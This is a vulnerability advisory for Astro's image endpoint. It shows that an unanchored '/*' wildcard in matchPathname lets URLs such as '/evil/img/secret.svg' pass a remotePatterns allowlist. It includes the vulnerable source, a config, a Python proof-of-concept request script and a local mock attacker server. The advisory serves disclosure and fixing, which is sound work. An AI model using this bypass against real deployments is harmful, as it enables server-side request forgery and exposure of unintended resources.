Astro: Remote allowlist bypass via unanchored matchPathname wildcard

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

# Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))

Attacker server

from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()

PoC Steps

1. Bootstrap default Astro project.
2. Add the vulnerable config and attacker server.
3. Build the project.
4. Start the attacker server.
5. Start the Astro server.
6. Run the PoC.
7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.